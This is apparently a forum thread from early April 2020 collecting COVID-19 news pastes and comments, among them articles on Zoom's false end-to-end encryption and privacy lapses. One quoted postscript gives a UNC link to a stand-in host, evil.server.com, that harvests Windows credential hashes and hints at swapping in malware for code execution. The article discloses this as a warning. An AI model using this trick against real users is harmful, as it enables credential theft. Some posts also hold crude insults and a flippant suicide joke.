The Walls Come Down: No Travel Betwen US and Europe for 30 Days

[Zaune]

Zoom's end-to-end encryption isn't actually end-to-end at all. Good thing the PM isn't using it for Cabinet calls. Oh, for f... (Actual headline from the article)

UK Prime Minister Boris Johnson sparked security concerns on Tuesday when he shared a screenshot of “the first ever digital Cabinet” on his Twitter feed. It revealed the country’s most senior officials and ministers were using bog-standard Zoom to discuss critical issues facing Blighty.

The tweet also disclosed the Zoom meeting ID was 539-544-323, and fortunately that appears to have been password protected. That's a good thing because miscreants hijacking unprotected Zoom calls is a thing.

Crucially, the use of the Zoom software is likely to have infuriated the security services, while also raising questions about whether the UK government has its own secure video-conferencing facilities. We asked GCHQ, and it told us that it was a Number 10 issue. Downing Street declined to comment.

The decision to use Zoom, as millions of others stuck at home during the coronavirus outbreak are doing, comes as concerns are growing about the conferencing app's business model and security practices.

Most notably, the company has been forced to admit that although it explicitly gives users the option to hold an “end-to-end encrypted” conversation and touts end-to-end encryption as a key feature of its service, in fact it offers no such thing.

Specifically, it uses TLS, which underpins HTTPS website connections and is significantly better than nothing. But it most definitely is not end-to-end encryption (E2E). E2E ensures all communications are encrypted between devices so that not even the organization hosting the service has access to the contents of the connection. With TLS, Zoom can intercept and decrypt video chats and other data.

When we say end-to-end...

Despite Zoom offering a meeting host the option to “enable an end-to-end (E2E) encrypted meeting,” and providing a green padlock that claims “Zoom is using an end to end encrypted connection,” it appears that the company is able to access data in transit along that connection, and can also be compelled to provide it to governments. So, it's not E2E.

While that is not something that will bother most Zoom users, whose conversations are not highly sensitive nor confidential, for something like a UK Cabinet meeting, the lack of true end-to-end encryption is dangerous.

Under questioning, a Zoom spokesperson admitted: “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”

Then they gave their own Zoom version of what the phrase “end-to-end encryption” actually means: “When we use the phrase ‘End to End’ in our other literature, it is in reference to the connection being encrypted from Zoom end point to Zoom end point,” a spokesperson told The Intercept on Tuesday.

The use of “end point” in this context refers to Zoom servers, not just Zoom clients; a second layer of purposefully misleading semantics.

So when we say user privacy...

That’s not the only area where Zoom has been found wanting. As a spotlight has swung on the biz thanks to its enormous take-up in recent weeks, its dodgy data sharing policies were also revealed.

As we reported earlier this month, Zoom granted itself the right to mine your personal data and conference calls to target you with ads, and seemed to have a "creepily chummy" relationship with tracking-based advertisers.

Personal information gathered by the company included, but was not limited to, names, addresses and any other identifying data, job titles and employers, Facebook profiles, and device specifications. It also included "the content contained in cloud recordings, and instant messages, files, whiteboards ... shared while using the service."

In other words, it was, arguably, the Facebook of the video-conferencing world, sucking every piece of data it can from you and any device you install it on.

Speaking of Facebook, Zoom's iOS app sent analytics data to Facebook even if you didn't use Facebook to sign into Zoom, due to the application's use of the social network's Graph API, Vice discovered. The privacy policy stated the software collects profile information when a Facebook account is used to sign into Zoom, though it didn't say anything about what happens if you don't use Facebook. Zoom has since corrected its code to not send analytics to the social network if you don't use it to sign into the video-conferencing app.

Zoom also stupidly glomed users together, as if they were working for the same company, because they used a common email provider, such as xs4all.nl.

Privacy advocacy group Access Now, meanwhile, dug into Zoom’s privacy policy and practices and didn't like what it saw, sending a letter to the company on March 19 asking it to publish a transparency report along the same lines as other companies that made it plain exactly what the company was doing with its users’ data.

“The growing demand for Zoom’s services makes it a target for third parties, from law enforcement to malicious hackers, seeking personal data and sensitive information,” said Access Now’s general counsel Peter Micek. “This is why just disclosing privacy policies is not enough – it’s high time for Zoom to tell us how they protect our personal lives and professional activities from exploitation. This starts with a regular transparency report.”

The Facebook API kerfuffle resulted in a lawsuit [PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, is looking to bring a class action against Zoom for failing to protect personal data.

He argued Zoom has violated three Californian laws: the Unfair Competition Law, Consumers Legal Remedies Act, and Consumer Privacy Act by collecting and providing personal information to third parties including Facebook.

“Had Zoom informed its users that it would use inadequate security measures and permit unauthorized third-party tracking of their personal information, users would not have been willing to use the Zoom app,” the lawsuit argued.

In short, while Zoom’s ease of use, reliability and excellent user interface has made it a godsend for people stuck at home, the company continues to raise red flags about its honesty, its privacy policies and its business model. Something that a country’s head of government would do well to consider before posting screengrabs of online meetings. ®

Stop press... Zoom has quietly rewritten its privacy policy since our earlier coverage to now stress: "We do not sell your personal data. Whether you are a business or a school or an individual user, we do not sell your data."

It continued: "Your meetings are yours. We do not monitor them or even store them after your meeting is done unless we are requested to record and store them by the meeting host ... We do not use data we obtain from your use of our services, including your meetings, for any advertising. We do use data we obtain from you when you visit our marketing websites, such as zoom.us and zoom.com. You have control over your own cookie settings when visiting our marketing websites."

It, thus, appears to have clarified, among other things, that it, at least now, does not use the content of meetings and messages to generate targeted advertising.

PS: Zoom has an attention-tracking feature, which can be turned on by a meeting host, that alerts the host if you click away from the Zoom conference for more than 30 seconds.

PPS: It appears you can snaffle people's Windows local login usernames and hashed passwords via Zoom by getting them to click on a URL in a chat message that connects to a malicious SMB file server. A link such as \\evil.server.com\foorbar.jpg will, when clicked on, cause Windows to connect to evil.server.com, supplying the logged-in user's credentials in hope of fetching foobar.jpg. Swap foobar.jpg for malware.exe and you could get code execution on the victim's computer.

So, yeah. Remember when Hilary Clinton storing some State Department correspondence on a privately owned mail server maintained by a reputable freelance sysadmin and data security consultant was a big scandal?

[The Romulan Republic]

What else do you expect from the man who's basically Discount Trump?

[ray245]

It's still somewhat funny to see Bolsonaro being even worse of a far-right leader than his peers, to the extend that his right-right allies have started to disown him because he is just that incompetent.

[The Romulan Republic]

Latest Canadian recommendations reg. face mask use:

https://globalnews.ca/news/6763036/bc-c ... e-april-1/

B.C.’s provincial health officer said Wednesday that she is “not against” the widespread use of non-medical masks as the world grapples with the novel coronavirus pandemic.

Provincial health officer Dr. Bonnie Henry made the comments as she confirmed 53 new confirmed cases of the novel coronavirus, for a total of 1,066 in the province.

Henry also announced one new fatality, bringing B.C.’s death toll to 25, adding that 606 people have fully recovered from the virus.

Dr. Henry’s comments came amid reports that major public health agencies such as the World Health Organization and the U.S. Centres for Disease Control and Infection Were considering recommending the general use of non-medical masks.

There is growing evidence that people may be able to spread the virus before realizing they have symptoms.

“What is not proven is that they provide you with any protection, and I think that’s the really critical part,” said Henry.

“[They] may reduce in some cases the touching of your face … we also know they can have some benefit about keeping your droplets in.”

Henry said medical masks should still be reserved for front-line workers, amid concerns about the supply of personal protective equipment (PPE).

[ Sign up for our Health IQ newsletter for the latest coronavirus updates ]

She also cautioned people who opt to use non-medical masks to be careful about touching their faces, and to be aware of the need to ensure masks are kept clean.

She said people need to remember that physical distancing and hand washing remain the best way to protect ourselves.

The federal government has issued its own bulletin with safety considerations around the use of home-made masks.

Outbreaks have now been confirmed in 21 seniors’ care facilities in B.C.

“It really reflects the challenging situation when you have transmission ongoing in a facility and the importance of catching these really early,” said Henry.

Henry said just two facilities, North Vancouver’s Lynn Valley Care Centre and Vancouver’s Haro Park Centre, have seen large outbreaks.

“For most of the other ones it is a single case identified,” she said.

Henry said 142 people are now in hospital, 67 of them in critical care. She said 606 people have fully recovered from COVID-19, the disease caused by the virus.

Health Minister Adrian Dix said Wednesday that the province has 4,192 empty hospital beds, with facilities at 61 per cent capacity.

On Tuesday, B.C. health officials warned that some version of harsh restrictions that have been put in place to curb the spread of the virus would likely remain until “at least” the summer.

Premier John Horgan on Tuesday formally extended the province’s state of emergency until April 14.

[whackadoodle]

Rule #1 of SHTF. Have most of your SHTF preps in advance of SHTF.

Rule #2: See Rule #1

Linkypoo

Coronavirus Australia stockpiling: Additional access to recreational firearms banned after demand doubles
Summer Woolley
Tuesday, 31 March 2020 2:43 am

Victoria has announced new enforcements following the National Cabinet’s decision to put a temporary ban on additional access to firearms and ammunition across the country.

Police Minister Lisa Neville said the state had seen “a doubling of attempts to access firearms - category A and B - and also of ammunition” in the past week.

“We are concerned by those figures,” she told media on Tuesday.

“And we’re also concerned about this is an incredibly stressful time for people and we know that there are pressures around family violence and also around work and people spending a lot of time together.”

The ban - which is effective immediately for the foreseeable future - applies to sport and recreational uses of firearms, not primary producers or security guards.

Neville said the decision was about “keeping our community safe”.

Deputy Commissioner Shane Patton said increasing numbers of people seeking firearm permits had been consistent across the country.

“There was no need for this attempted stockpiling so we’re nipping it in the bud right now,” he said.

Sutton said about 2,200 permits had been applied for in the past week, compared to the average weekly total of fewer than 1,000.

Firearm and ammunition sales have now been banned in Victoria, Queensland and Western Australia.

Victoria recorded 96 new cases of COVID-19 overnight, taking the state’s total to 917.

Looking into what 'Straya calls "stockpiling" - a synonym of "hoarding", both of which mean "you got your shit together, I didn't so now I want your shit" -, I call a tiny order to Cheaperthandirt.com or a Saturday visit to Academy Sports. Now, I'm starting to regret it, having been locked in with two completely feral boys for almost two days. I'm looking in my safe, thinking of how to off myself out of my misery.

Seriously, though; we keep six months worth of prep - food, first aid, water storage and treatment - in good times. I looked at the beerflu, at an ENTIRE nation shut down, looked at my wife, and said, "We're gonna need a bigger boat." We can go a year without leaving home. Physically. Mentally, well...

Not because of the virus, exactly, but due to our inevitable mishandling of it.

It's OK, RR - you can say that Trump did it.

Also, he hoarded all of the TP. He needed TP for his bunghole.

[The Romulan Republic]

Dr. Fauci is getting an armed security detail, following threats from Trumpers:

https://politico.com/news/2020/04/01/fa ... ity-160901

The government's top infectious disease doctor, Anthony Fauci, is now receiving security protection after becoming the face of the nation's coronavirus response — and a target of some supporters of President Donald Trump.

Health department leaders moved to give Fauci an armed security detail by last weekend after the 79-year-old immunologist received unspecified threats and uninvited attention, although the process took several days, said two individuals with knowledge of the decision.

HHS Secretary Alex Azar had grown concerned about the growing online attacks against Fauci — whose profile has soared since he started regularly flanking Trump at White House coronavirus briefings, where he occasionally corrects the president — and asked the department to conduct a threat assessment. The decision was then conveyed to the Justice Department, which approved the request to deputize security for Fauci.

Fauci declined to comment when asked at Wednesday's press briefing about whether he was receiving security protection, referring questions to the HHS Office of Inspector General, which provides regular security to Azar and other senior officials as needed. "I cannot confirm, at this time, that we are providing such services for Dr. Fauci," said Tesia Williams, an OIG spokesperson.

Asked about reports of the security detail on Thursday morning, Fauci said he feels that he and his family are safe, telling NBC's "Today" show, "I've chosen this life" and "I know what it is."

"There are things about it that sometimes are disturbing, but you just focus on the job you have to do and just put all that other stuff aside and try as best as possible not to pay attention to it and just forge ahead," he said. "We have a really, really, very, very difficult situation ahead of us. All of that other stuff is secondary."

The Washington Post first reported that Fauci was receiving a security detail.

Some of Trump's most zealous far-right supporters have targeted Fauci online, arguing that he's worked to undermine Trump by publicly disagreeing with the president, and have begun spreading conspiracy theories about Fauci’s role.

Sarah Owermohle and Quint Forgey contributed to this story.

I guess he didn't suck the Fuhrer's cock hard enough, and actually said some true things.

[The Romulan Republic]

Given the massively increased use of Zoom for communication during this situation, people should be aware of the risks in using it:

https://theguardian.com/technology/2020 ... nferencing

As coronavirus lockdowns have moved many in-person activities online, the use of the video-conferencing platform Zoom has quickly escalated. So, too, have concerns about its security.

In the last month, there was a 535% rise in daily traffic to the Zoom.us download page, according to an analysis from the analytics firm SimilarWeb. Its app for iPhone has been the most downloaded app in the country for weeks, according to the mobile app market research firm Sensor Tower. Even politicians and other high-profile figures, including the British prime minister, Boris Johnson, and the former US federal reserve chair Alan Greenspan, use it for conferencing as they work from home.

But security researchers have called Zoom “a privacy disaster” and “fundamentally corrupt” as allegations of the company mishandling user data snowball.

On Monday, New York’s attorney general, Letitia James, sent a letter to the company asking it to outline the measures it had taken to address security concerns and accommodate the rise in users.

In the letter, James said Zoom had been slow to address security vulnerabilities “that could enable malicious third parties to, among other things, gain surreptitious access to consumer webcams”.

A spokesman from Zoom told the Guardian on Wednesday it was planning to send James the requested information and comply with the request. “Zoom takes its users’ privacy, security, and trust extremely seriously,” the spokesman said. “During the Covid-19 pandemic, we are working around the clock to ensure that hospitals, universities, schools and other businesses across the world can stay connected and operational.”

And on Thursday, the company announced it would freeze all new feature development and shift all engineering resources on to security and safety issues that have been called to attention in recent weeks.

Here’s what you need to know about the challenges with Zoom:

‘Zoom bombing’ on the rise
On 30 March, the FBI announced it was investigating increased cases of video hijacking, also known as “Zoom-bombing”, in which hackers infiltrate video meetings, often shouting racial slurs or threats.

Zoom meetings can be accessed by a short number-based URL, which can easily be generated and guessed by hackers, a January report from the security firm Checkpoint found. Zoom has released guidelines in recent days about how to prevent unwanted guests from crashing video meetings and a spokesman told the Guardian it had also been working to educate its users on protections through blogposts and webinars.

No end-to-end encryption
Zoom has falsely advertised itself as using end-to-end encryption, a system that secures communication so that it can only be read by the users involved, a report from the Intercept found. Zoom confirmed in a blogpost on Wednesday that end-to-end encryption was not currently possible on the platform and apologized for the “confusion” it caused by “incorrectly” suggesting the opposite.

Security flaws
A number of security flaws affecting Zoom have been reported in the past and as recently as this week. In 2019, it was revealed Zoom had quietly installed a hidden web server on user devices that could allow the user to be added to a call without their permission. And a bug discovered this week would enable hackers to take over a Zoom user’s Mac, including tapping into the webcam and hacking the microphone.

The company said on Thursday it had issued a release to fix the Mac issue, but the number of security issues with Zoom in the past make it as bad as malicious software, said Arvind Narayanan, an associate computer science professor at Princeton University.

“Let’s make this simple,” he said. “Zoom is malware.”

In-app surveillance measures
Zoom has been criticized for its “attention tracking” feature, which allows a host to see if a user clicks away from a Zoom window for 30 seconds or more.

This feature would allow employers to check if employees are really tuned into a work meeting or if students are really watching a classroom presentation remotely.

Selling user data
A report from Motherboard found Zoom sends data from users of its iOS app to Facebook for advertising purposes, even if the user does not have a Facebook account.

Zoom changed some of its policies in response and said on Thursday that the company “has never sold user data in the past and has no intention of selling users’ data going forward”. But the Motherboard story was cited in a lawsuit filed in a federal court in California this week, accusing Zoom of failing to “properly safeguard the personal information of the increasing millions of users” on its platform.

This privacy flaw was also mentioned in the letter from James, which noted such privacy violations could be of particular concern as schools migrate to Zoom for class.

“While Zoom has remediated specific reported security vulnerabilities, we would like to understand whether Zoom has undertaken a broader review of its security practices,” the letter said.

Kind of wish I'd know this before I installed it. Granted, its useful, and probably no social media is completely secure, but hopefully increased scrutiny will pressure the company to at least take some more basic fucking precautions in the future.

[bilateralrope]

Coronavirus: NZ with a chance to be only Western nation to eradicate COVID-19 - expert

One of New Zealand's top infectious disease experts says he's finally getting some sleep at night, with New Zealand looking like the only Western country with a chance of eradicating COVID-19.

But overseas, it's looking like 20 million people will eventually succumb to the virus.

Professor Michael Baker from the Department of Public Health at the University of Otago told The AM Show on Friday going to pandemic alert level 4 lockdown last week was the "most decisive and strongest lockdown in the world at the moment", and despite the economic pain, we should consider ourselves lucky to be living in New Zealand, rather than Italy, Spain, the UK or the United States.

"I was losing sleep until we moved into the lockdown - I don't like the term lockdown, but I guess that's the term we're using. I breathed a huge sigh of relief and I had my best night's sleep in a month.

"The reason is, all around the country all these chains of transmission of the virus - and we would have had some - gradually being snuffed out. So I think that was a fantastic move by the Government."

Italy and Spain have recorded the highest number of deaths from COVID-19, and there's new evidence the tolls have been vastly underestimated, with victims in rest homes not being counted towards official totals.

The United States is expected to overtake them in time, with more than twice as many confirmed infections as anywhere else in the world, and the UK has abandoned initial plans to let the virus run its course, implementing better-late-than-never social distancing measures.

A new study posted on London School of Hygiene & Tropical Medicine's website suggests the measures are already having an effect, bringing the R0 figure of the virus - the number of people the average patient goes onto infect - to below one.

A virus with an R0 figure below zero will soon die out - without social distancing measures, the virus behind COVID-19 is estimated to have an R0 of about 2.5, making it twice as infectious as influenza.

"That is really great news - it's saying we can beat this virus,"said Prof Baker. "The main thing is all New Zealanders have to absolutely get behind this move. New Zealand may be able to come out of this state much sooner than any other country, if we get this right."

The daily new case figures announced by the Ministry of Health on Thursday hit a new high of 89 however. Microbiologist Siouxsie Wiles told Newshub they're still mostly infections found in people arriving here from overseas, with only 1 percent confirmed transmission in the community.

"I'm surprised that cases haven't been higher... I was expecting to see more people coming home with COVID-19."

The effects of the lockdown should start to be seen in the figures in about week's time, she said. The virus can take a couple of weeks to show symptoms, if at all.

"Because we're on lockdown, we should be managing to stop the spread of those cases from one bubble to another bubble. The whole reason for us being in this lockdown, was that if there were cases out there we didn't know about, that this would stop spreading any further."

Prof Baker says if our lockdown is successful, we might be the only 'Western' country to be able to lift social distancing measures in the near future. The only other countries on an "elimination path" are Asian nations such as China, Singapore, South Korea and Hong Kong, all of whom learned from their experience with another deadly coronavirus - SARS.

"We're a huge standout as the only Western country that's got an elimination goal... it's not going to be easy to get there. Every New Zealander has to do their absolute utmost to minimise their contact with other people over the next month. That's the deal... The alternative is so much worse - and that is the situation in European countries that... aren't on what we call an elimination path.

"They are on initially mitigation - dampening it down - and now they've moved to the next step which is months of lockdown. They can't come out of it - there's no way out. So by locking down now in New Zealand it's tough, but it saves us so much grief down the track."

Globally, the outlook isn't so great. Prof Baker says he no longer looks at the headline figures found on trackers like Worldometer and that kept by Johns Hopkins University, both of which now show there have been more than 1 million confirmed infections and 51,000 deaths.

"It's going to just keep climbing. It will be millions of people at a certain point, and many countries will no longer count people dying from this infection. It's very grim, and I think just another very good reason we are fortunate to be in New Zealand and do absolutely everything we can do dampen down transmission."

By the time a vaccine is ready - perhaps 12 or 18 months from now - he predicts more than 20 million will be dead.

"This virus is on a terrible trajectory, it's relentless, and it's going to infect about 60 percent of the world's population over the next one to two years."

For comparison, the Spanish Flu of a century ago killed between 20 and 50 million; the 14 century's Black Death, about 50 million; swine flu of a decade ago, up to 500,000; and SARS only 774.

Of course, if we do pull this off, that means our borders are going to be closed tight until the vaccine is ready.

[The Romulan Republic]

Shared on Bernie Sanders' Facebook today, this definitely echoes what loomer has been posting about in this thread:

https://politico.com/news/2020/03/28/na ... rus-152579

The federal health agency that serves more than 2.5 million Native Americans has only limited ability to monitor and investigate coronavirus cases across American Indian communities and reservations, slowing its ability to respond to outbreaks and raising fears that a lack of reliable data could compromise national efforts to eradicate the virus.

The Indian Health Service is instead relying largely on Native organizations and health facilities to track the virus and self-report their findings to the Trump administration – an inconsistent practice further complicated by minimal testing capabilities, outdated health technology and provider shortages that Native groups warn could vastly understate the crisis across tribal lands.

That’s vexed public health experts, who say Native populations are particularly exposed to the risk of severe outbreaks, and worry that the virus could continue to spread throughout reservations long after President Donald Trump is ready to declare victory over the pandemic and move on. At that point, it will be critical to identify and isolate even small pockets of contagion to head off the potential for the virus re-enter larger populations and prolong the pandemic.

“It’s so short-sighted to think that this isn’t going to get to tribal communities – and when it does, it’s going to be worse,” said Allison Barlow, director of the Johns Hopkins Center for American Indian Health. “We know that this virus will occur in waves.”

Those concerns have come into sharp focus over the past week, as coronavirus began to hit tribes across the nation – and represent just the beginning of the bureaucratic complexities hampering tribal leaders’ efforts to stand up a public health response.

Decades of underfunding and lack of resources have left the IHS ill-prepared to manage a large-scale health emergency, and tribes nervous that any federal assistance will be too little and come too late, according to interviews with Native groups, health officials and others close to the situation.

Speaker Nancy Pelosi announced the formation of a bipartisan House committee to oversee the Trump administration’s distribution of more than $2 trillion in coronavirus relief funds.

The White House is setting up a hotline for members of Congress to expedite action on emergency coronavirus issues.
The Federal Housing Agency will give some struggling borrowers the option to defer mortgage payments for up to a year.

“There is not an agency that I’m aware of that has dedicated resources in any meaningful way to epidemiology in Indian Country,” said Bryan Newland, chairman of the Bay Mills Indian Community in far-north Michigan. “We’re doing this all on the fly.”

The IHS now counts 110 coronavirus cases across the nation’s tribal areas, up from single digits at the beginning of last week. Yet that figure serves only as a rough estimate, and relies extensively on tribes to voluntarily submit data.

“This is likely an underrepresentation of American Indians and Alaska Natives who might have tested positive,” IHS Chief Medical Officer Michael Toedt said during a Thursday call with tribal leaders.

‘This is going to be a huge challenge’
Just about one-sixth of 423 health facilities serving Native Americans are run by the IHS and required to regularly report cases. The rest are operated by tribes or urban Native organizations, which must choose to self-report coronavirus patients to the federal government. By contrast, the Centers for Disease Control and Prevention regularly collects data from public health labs and health departments in all 50 states.

Some tribes work closely with state and local authorities to monitor cases, while others have little relationship with states that tribal leaders say have routinely neglected their Native populations. That’s made it more difficult to uniformly track the virus’ spread, identify emerging hotspots and figure out where aid is needed most.

“This is going to be a huge challenge, and I really haven’t heard the discussion of data collection and cohesiveness,” Nicole Redvers, a professor at the University of North Dakota who works closely with tribal organizations, said of the informal case tracking occurring across many tribes.

The piecemeal reporting has already sparked confusion in at least one major instance: the death of Merle Dry, a Cherokee Nation citizen in Oklahoma who was believed to be the first among the Native population – though for days afterward tribal leaders could not say for sure.

The March 19 death was reported by Oklahoma’s state Department of Health, but was not reflected in IHS’s own public data, which listed zero deaths through March 22. The category listing the number of coronavirus deaths was subsequently eliminated completely.

An IHS spokesperson said the agency’s data only include patients treated at IHS, tribal or urban Indian facilities – much of which is submitted voluntarily. IHS removed the category listing deaths to avoid underreporting, noting it may also not be notified of patients diagnosed at an IHS facility but later transferred outside the Indian health system.

Health data is inherently difficult to collect across Indian Country, where tribes operate as sovereign entities and have varying connections to federal and state authorities. On remote reservations, a lack of Internet or landline phones further hinders communication.

Yet tribal leaders and American Indian health experts also say the agency simply doesn’t have the resources to track and investigate cases across reservations, due to chronic underfunding that’s only been exacerbated by the growing public health emergency. IHS’s budget is smaller than most major federal health agencies, and it has weathered near-constant scandal and leadership turnover – cycling through five leaders since 2015.

The current highest-ranking IHS official, Deputy Director Michael Weahkee, was nominated to run the agency in October. He has yet to be confirmed.

A system ‘far, far behind’
Congress in recent weeks earmarked more than $2 billion in additional funding for American Indian health services, in what lawmakers and tribal leaders say recognizes the looming challenge for facilities and tribal organizations whose finances are already stretched thin.

But there remain institutional barriers: IHS hospitals face widespread shortages of doctors and nurses, and communication of patient data across that hospital network is slowed by its reliance on an archaic electronic health record system first introduced in the 1980s.

“Our system is far, far behind – and one of the immediate problems with surveillance is we do not have interoperability,” said Stacy Bohlen, executive director of the National Indian Health Board, which represents tribal government on health care issues.

American Indians and Alaska Natives collectively face glaring health disparities compared with the rest of the U.S., including lower life expectancy and higher rates of the respiratory conditions that put coronavirus patients at higher risk of death.

One in six households on reservations qualify as overcrowded, increasing the odds of rapid transmission. On some remote reservations there is no plumbing to ensure adequate handwashing, and the nearest health facility can be hours away. At the same time, the government spends far less on health care for Native Americans than for beneficiaries in other federal programs.

“There’s no mystery as to why Indian Country suffers from health disparities that are alarming and shocking, even when there isn’t a pandemic running across the globe,” said Kevin Allis, CEO of the National Congress of American Indians. “We’re in a very precarious situation right now.”

That public health gap has grown more stark during this pandemic. As the virus spread, tribal leaders said the administration abruptly pulled roughly 170 of its Public Health Service officers out of tribal areas, redirecting them to help combat coronavirus elsewhere – and leaving tribes without the trusted health professionals who had spent months embedded in Native communities.

The IHS disputed that figure, saying that approximately 137 officers had been temporarily deployed elsewhere “in support of HHS-wide efforts” to fight the virus – and that it’s working to ensure patient care for Native populations is not affected.

As test kit production increases and private health labs speed testing of Americans nationwide, tribal leaders also say IHS hospitals remain unable to conduct tests of their own due to a lack of the necessary certifications.

Those facilities must instead send swab samples to labs for evaluation. Of the 2,646 patients the IHS said it's tested as of Friday, results for 1,023 are still pending.

An IHS spokesperson said wait times vary by location, and that results will come back faster as more commercial labs begin to offer testing.

Red tape and severe shortages
Medical supplies have similarly been slow to arrive and mired in red tape. Federal officials for weeks urged tribes to seek aid directly from states and regional partners, which tribal leaders say have in turn directed them to local authorities – many of which are overrun with requests and redirect them back to the federal government, which is supposed to work directly with Native American tribes and organizations due to long-held federal trust obligations.

“Often the problem is the federal government not dealing directly with Indian nations and our health systems as sovereign to sovereign,” said Chuck Hoskin Jr., principal chief of the Cherokee Nation, which operates the nation’s largest tribal health system. “We’re the front line of public health in this region. We need a streamlined way to get these resources.”

Some larger tribes have so-called cooperative agreements with the CDC that’s allowed them to access funding and supplies more easily, including drawing from the nation’s Strategic National Stockpile. Navajo Nation – whose massive territory covers parts of Arizona, Utah and New Mexico – is receiving two shipments of medical supplies this week after a tenfold jump in cases prompted leaders to put it under lockdown, IHS officials told lawmakers.

Others are left waiting on the IHS, or forced to appeal to states and counties already under strain. One urban Indian organization, for example, sought supplies after its state received a shipment from the Strategic National Stockpile. But county officials told the organization it was so far down the priority list that it would likely not receive anything.

Trump on Tuesday touted the new production of millions of masks, respirators and other protective equipment, though tribes said they’re unsure whether and when they’ll get access to those supplies.

IHS said only that it’s shipped out 1.3 million respirators this month that are expired but deemed suitable for use, and that its regional supply centers have another 3.4 million on hand. The agency on Friday announced plans to spend an additional $40 million on protective equipment.

One crucial piece of equipment that won’t make it to large swaths of IHS and tribally run hospitals and clinics: ventilators, which IHS officials told lawmakers must be operated by trained professionals. IHS facilities don’t have those experts, meaning patients requiring intensive care must instead be transferred to non-IHS hospitals.

“If we don’t have them then the ventilators don’t do any good,” said Rep. Deb Haaland (D-N.M.), adding that for patients in remote areas, finding a second nearby hospital will be a near-impossibility.

There are currently just 81 available ventilators across the IHS system nationwide, the agency said, emphasizing that “the core competency of IHS is primary care” and that regularly relies on a network of non-IHS facilities to provide specialized or intensive care.

And while tribal leaders on Thursday cheered the billions headed their way as part of Congress’ rescue package, they cautioned those reinforcements could still take weeks to arrive.

An initial $40 million allocated in early March was held up for two weeks – and even after the Trump administration doubled that amount, bureaucratic restrictions prevented some smaller and poorer tribes from accessing the initial round of payouts.

They’ll now have to apply for grants to access the rest – meaning more waiting at a time when tribes fear the next major outbreak may have already arrived.

“I don’t think people really appreciate what kind of risks really exist,” Allis said. “Over a million of these folks are elders. The numbers, if things don’t get contained and controlled – I’m not trying to exaggerate this – you could see potential death rates at a number with a lot of zeroes after it.”

[The Romulan Republic]

Navy has fired the captain who warned about the coronavirus outbreak on his aircraft carrier for "not working with the chain of command":

https://politico.com/news/2020/04/02/na ... id=covid_m

Acting Navy Secretary Thomas Modly has fired the captain who raised the alarm about a spike in coronavirus cases onboard his aircraft carrier, which was sidelined in Guam last week, the Navy announced on Thursday.

Capt. Brett Crozier wrote a letter Navy leaders Monday pleading for additional help to combat the outbreak, which has sickened roughly 100 sailors on the aircraft carrier USS Theodore Roosevelt. The letter was leaked to the media.

In the letter, Crozier urged "decisive action" to remove the "majority of personnel" from the carrier.

“We are not at war. Sailors do not need to die," Crozier wrote. "If we do not act now, we are failing to properly take care of our most trusted asset — our sailors.”

Modly faulted Crozier for "not working with the chain of command" when writing the letter and by not raising the issue with Modly directly. He also said the Navy was already addressing Crozier's concerns by the time the letter was written. "He sent it out pretty broadly," Modly said, but stopped short of accusing Crozier of leaking the letter.

“I could reach no other conclusion that Capt. Crozier had allowed the complexity of his challenge with the Covid breakout on the ship to overwhelm his ability to act professionally when acting professionally was what was needed at the most at the time," Modly said. "We do and we should expect more from the commanding officers of our aircraft carriers”

Reuters first reported the news.

Looks like Trump has begun his purge of the armed forces.

[Eulogy]

That's certainly not going to backfire on him at all, no siree.

[Tribble]

Going to quote the above article in full, as I think you missed a chunk and it isn't too long anyways:

Navy fires aircraft carrier captain who raised alarm about virus outbreak
Capt. Brett Crozier wrote a letter Navy leaders Monday pleading for additional help to combat the outbreak.

Updated: 04/02/2020 06:26 PM EDT

Acting Navy Secretary Thomas Modly has fired the captain who raised the alarm about a spike in coronavirus cases onboard his aircraft carrier, which was sidelined in Guam last week, the Navy announced on Thursday.

Modly's decision to relieve Capt. Brett Crozier of command of the USS Theodore Roosevelt comes days after an impassioned letter Crozier wrote to Navy leaders pleading for additional help to combat the outbreak was leaked to the press. It appeared in the San Francisco Chronicle, Crozier's hometown paper.

Modly stopped short of accusing Crozier of leaking the letter, but faulted the captain for sending it over "non-secure, unclassified email" and copying "a broad array of people," instead of relaying his concerns directly to Modly. The letter contained no classified information.


In the letter, Crozier urged "decisive action" to remove the "majority of personnel" from the carrier.
“We are not at war. Sailors do not need to die," Crozier wrote. "If we do not act now, we are failing to properly take care of our most trusted asset — our sailors.”

But Modly said the Navy was already addressing Crozier's concerns by the time the letter was written. Modly's chief of staff assured Crozier that he had "an open line anytime" to relay his concerns directly to the secretary.

Crozier's letter "unnecessarily" caused panic among the sailors and their families, and raised doubts about the ship's operational capability — concern that could have "emboldened our adversaries to seek advantage," Modly said.

One former senior defense official with knowledge of the discussions noted that the letter revealed information about the readiness of the ship that “should have been classified.” Putting that information in an unclassified format “that could be read obviously by everybody including the Chinese” showed poor judgment, the former official said.

Modly said he spoke with Defense Secretary Mark Esper about the decision to relieve Crozier of command and received his support. Modly did not receive any pressure from the White House to fire the commander, he said.

“I could reach no other conclusion that Capt. Crozier had allowed the complexity of his challenge with the Covid breakout on the ship to overwhelm his ability to act professionally when acting professionally was what was needed at the most at the time," Modly said. "We do and we should expect more from the commanding officers of our aircraft carriers."

The chief of naval operations has directed an investigation into the incident and "the climate across the entire Pacific Fleet" to help determine what led to "this breakdown in the chain of command," Modly said.

Reuters first reported the news.

https://www.politico.com/news/2020/04/0 ... id=covid_m


IMO while firing the captain outright is going overboard, if the above is accurate I agree with the concerns about revealing the combat readiness of a major naval asset over a non-secure, unclassified email and sending it to a number of people. However well intentioned, I doubt that's the best way to go about it.

An admonishment or reprimand would have been a better option.

[Nicholas]

OK, so apparently I've been completely wrong about what "bending the curve" means. I was assuming that it means accepting that most healthy was going to still get the coronavirus, but it would pass through the population slowly enough that it wouldn't overburden hospitals.

Like spreading out the cases over 9 months instead of 2. And making sure that vulnerable populations like the elderly don't get it at all.

But instead leaders are talking like no one should get the coronavirus at all, ever? What's the endgame there? No one seems to have one.

Implicitly there seem to be two endgames.

1) Vaccinate everyone. The problem with this is that it will be the summer of 2021 at best before we have 8 billion doses of a safe vaccine ready to be administered and no one has a good suggestion for what happens between now and then or what happens if it takes much longer to produce a vaccine or if this virus evolves out form under the vaccine the way the flu does.

